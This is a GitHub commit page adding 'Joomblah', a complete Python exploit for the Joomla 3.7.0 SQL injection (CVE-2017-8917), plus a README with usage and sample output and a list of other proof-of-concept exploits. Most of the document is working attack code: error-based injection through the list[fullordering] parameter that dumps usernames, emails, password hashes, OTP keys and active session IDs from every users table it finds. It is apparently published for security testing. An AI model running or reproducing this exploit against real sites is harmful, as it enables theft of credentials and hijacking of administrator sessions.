Skip to content

Commit b0311c7

Browse files
committed
Added Joomblah exploit for Joomla 3.7.0. Updated README
1 parent b98da60 commit b0311c7

File tree

3 files changed

+235
-1
lines changed

3 files changed

+235
-1
lines changed

Joomblah/README.md

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
# Exploit for Joomla 3.7.0 (CVE-2017-8917)
2+
3+
Another proof of concept exploit for Joomla, whoop-de-doo, this time a SQL Injection in 3.7.0.
4+
5+
* https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
6+
7+
## Usage
8+
9+
Point the joomblah.py script at the vulnerable Joomla 3.7.1 install, it may take some time, but it will dump the users and session tables.
10+
11+
```
12+
$ python joomblah.py http://127.0.0.1:8080
13+
14+
.---. .-'''-. .-'''-.
15+
| | ' _ \ ' _ \ .---.
16+
'---' / /` '. \ / /` '. \ __ __ ___ /| | | .
17+
.---.. | \ ' . | \ ' | |/ `.' `. || | | .'|
18+
| || ' | '| ' | '| .-. .-. '|| | | < |
19+
| |\ \ / / \ \ / / | | | | | ||| __ | | __ | |
20+
| | `. ` ..' / `. ` ..' / | | | | | |||/'__ '. | | .:--.'. | | .'''-.
21+
| | '-...-'` '-...-'` | | | | | ||:/` '. '| |/ | \ | | |/.'''. \
22+
| | | | | | | ||| | || |`" __ | | | / | |
23+
| | |__| |__| |__|||\ / '| | .'.''| | | | | |
24+
__.' ' |/'..' / '---'/ / | |_| | | |
25+
| ' ' `'-'` \ \._,\ '/| '. | '.
26+
|____.' `--' `" '---' '---'
27+
28+
[-] Fetching CSRF token
29+
[-] Testing SQLi
30+
- Found table: rlbre_users
31+
- Found table: tgukl_users
32+
- Extracting users from rlbre_users
33+
[$] Found user ['361', 'Super User', 'admin', '[email protected]', '$2y$10$G4ivaKw71R4uIvuHYliSke5pHoh1Q.xm.Sk29d8zpzx4xJBfPoyEK', '', '']
34+
- Extracting sessions from rlbre_session
35+
[$] Found session ['361', '3rfv8kql26s6kvimpbchneom85', 'admin']
36+
- Extracting users from tgukl_users
37+
[$] Found user ['883', 'Super User', 'admin', '[email protected]', '$2y$10$5Za2zpqTdRo5x19cvO5biOKeiyOi2iTQ3u0SSLtcs6uvIvJhvM9aG', '', '']
38+
- Extracting sessions from tgukl_session
39+
```
40+
41+
## Licence
42+
43+
Licenced under the [WTFPL][wtfpl]
44+
45+
[wtfpl]: http://www.wtfpl.net/

Joomblah/joomblah.py

Lines changed: 186 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
#!/usr/bin/python
2+
from __future__ import print_function
3+
import requests
4+
import sys
5+
import re
6+
import argparse
7+
import os
8+
import random
9+
import time
10+
import binascii
11+
12+
13+
def extract_token(resp):
14+
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
15+
if match is None:
16+
print(" [!] Cannot find CSRF token")
17+
return None
18+
return match.group(1)
19+
20+
21+
def parse_options():
22+
parser = argparse.ArgumentParser(description='Jooma Exploit')
23+
parser.add_argument('url', help='Base URL for Joomla site')
24+
return parser.parse_args()
25+
26+
27+
def build_sqli(colname, morequery):
28+
return "(SELECT " + colname + " " + morequery + ")"
29+
30+
def joomla_370_sqli_extract(options, sess, token, colname, morequery):
31+
sqli = build_sqli("LENGTH("+colname+")", morequery)
32+
length = joomla_370_sqli(options, sess, token, sqli)
33+
if not length:
34+
return None
35+
length = int(length)
36+
maxbytes = 30
37+
offset = 0
38+
result = ''
39+
while length > offset:
40+
sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)
41+
value = joomla_370_sqli(options, sess, token, sqli)
42+
if not value:
43+
print(" [!] Failed to retrieve string for query:", sqli)
44+
return None
45+
value = binascii.unhexlify(value)
46+
result += value
47+
offset += len(value)
48+
return result
49+
50+
51+
def joomla_370_sqli(options, sess, token, sqli):
52+
sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"
53+
data = {
54+
'option': 'com_fields',
55+
'view': 'fields',
56+
'layout': 'modal',
57+
'list[fullordering]': sqli_full,
58+
token: '1',
59+
}
60+
resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False)
61+
match = re.search(r'XPATH syntax error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)
62+
if match:
63+
match = match.group(1).strip()
64+
if match[0] != ':' and match[-1] != ':':
65+
return None
66+
return match[1:-1]
67+
68+
69+
def extract_joomla_tables(options, sess, token):
70+
tables = list()
71+
first = False
72+
offset = 0
73+
while True:
74+
result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
75+
if result is None:
76+
if first:
77+
print("[!] Failed to retrieve first table name!")
78+
return False
79+
break
80+
tables.append(result)
81+
print(" - Found table:", result)
82+
first = False
83+
offset += 1
84+
return tables
85+
86+
87+
def extract_joomla_users(options, sess, token, table_name):
88+
users = list()
89+
offset = 0
90+
first = False
91+
print(" - Extracting users from", table_name)
92+
while True:
93+
result = joomla_370_sqli_extract(options, sess, token, "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)", "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )
94+
if result is None:
95+
if first:
96+
print("[!] Failed to retrieve user from table!")
97+
return False
98+
break
99+
result = result.split('|')
100+
print(" [$] Found user",result)
101+
first = False
102+
offset += 1
103+
users.append(result)
104+
return users
105+
106+
107+
108+
109+
def extract_joomla_sessions(options, sess, token, table_name):
110+
sessions = list()
111+
offset = 0
112+
first = False
113+
print(" - Extracting sessions from", table_name)
114+
while True:
115+
result = joomla_370_sqli_extract(options, sess, token, "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0 LIMIT %d,1" % (table_name, offset) )
116+
if result is None:
117+
if first:
118+
print("[!] Failed to retrieve session from table!")
119+
return False
120+
break
121+
result = result.split('|')
122+
print(" [$] Found session", result)
123+
first = False
124+
offset += 1
125+
sessions.append(result)
126+
return sessions
127+
128+
129+
130+
131+
def pwn_joomla_again(options):
132+
sess = requests.Session()
133+
134+
print(" [-] Fetching CSRF token")
135+
resp = sess.get(options.url + "/index.php/component/users/?view=login")
136+
token = extract_token(resp)
137+
if not token:
138+
return False
139+
140+
# Verify that we can perform SQLi
141+
print(" [-] Testing SQLi")
142+
result = joomla_370_sqli(options, sess, token, "128+127")
143+
if result != "255":
144+
print(" [!] Could not find SQLi output!")
145+
return False
146+
147+
tables = extract_joomla_tables(options, sess, token)
148+
149+
for table_name in tables:
150+
table_prefix = table_name[:-5]
151+
extract_joomla_users(options, sess, token, table_name)
152+
extract_joomla_sessions(options, sess, token, table_prefix + 'session')
153+
154+
return True
155+
156+
def print_logo():
157+
clear = "\x1b[0m"
158+
colors = [31, 32, 33, 34, 35, 36]
159+
160+
logo = """
161+
.---. .-'''-. .-'''-.
162+
| | ' _ \ ' _ \ .---.
163+
'---' / /` '. \ / /` '. \ __ __ ___ /| | | .
164+
.---.. | \ ' . | \ ' | |/ `.' `. || | | .'|
165+
| || ' | '| ' | '| .-. .-. '|| | | < |
166+
| |\ \ / / \ \ / / | | | | | ||| __ | | __ | |
167+
| | `. ` ..' / `. ` ..' / | | | | | |||/'__ '. | | .:--.'. | | .'''-.
168+
| | '-...-'` '-...-'` | | | | | ||:/` '. '| |/ | \ | | |/.'''. \
169+
| | | | | | | ||| | || |`" __ | | | / | |
170+
| | |__| |__| |__|||\ / '| | .'.''| | | | | |
171+
__.' ' |/\'..' / '---'/ / | |_| | | |
172+
| ' ' `'-'` \ \._,\ '/| '. | '.
173+
|____.' `--' `" '---' '---'
174+
"""
175+
for line in logo.split("\n"):
176+
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
177+
#time.sleep(0.05)
178+
179+
def main(base_url):
180+
options = parse_options()
181+
options.url = options.url.rstrip('/')
182+
print_logo()
183+
pwn_joomla_again(options)
184+
185+
if __name__ == "__main__":
186+
sys.exit(main("http://192.168.10.100:8080/joomla"))

README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,10 @@ Miscellaneous proof of concept exploit code written at Xiphos Research for testi
2525
* Deathsize - LifeSize Room remote code execution & local root exploit
2626
* AssetExploder - ManageEngine Asset Explorer remote code execution
2727
* DroppleGanger - Droppler <= 1.6.5 Auth-Bypass & RCE
28-
* tr-06fail - TR-064 Misimplementations leading to remote device takeover in ZyXEL Routers
28+
* tr-06fail - TR-064 Misimplementations leading to remote device takeover in ZyXEL Routers
29+
* screen2root - Screen 4.05.00 (CVE-2017-5618) local privesc
30+
* FreeACS-Pwn - TR-069 exploit for FreeACS server, disclosed at BSides Edinburgh.
31+
* Joomblah - Joomla 3.7.0 SQL Injection exploit (CVE-2017-8917)
2932
* TBA
3033

3134
## Infrequently Asked Questions.

0 commit comments

Comments
 (0)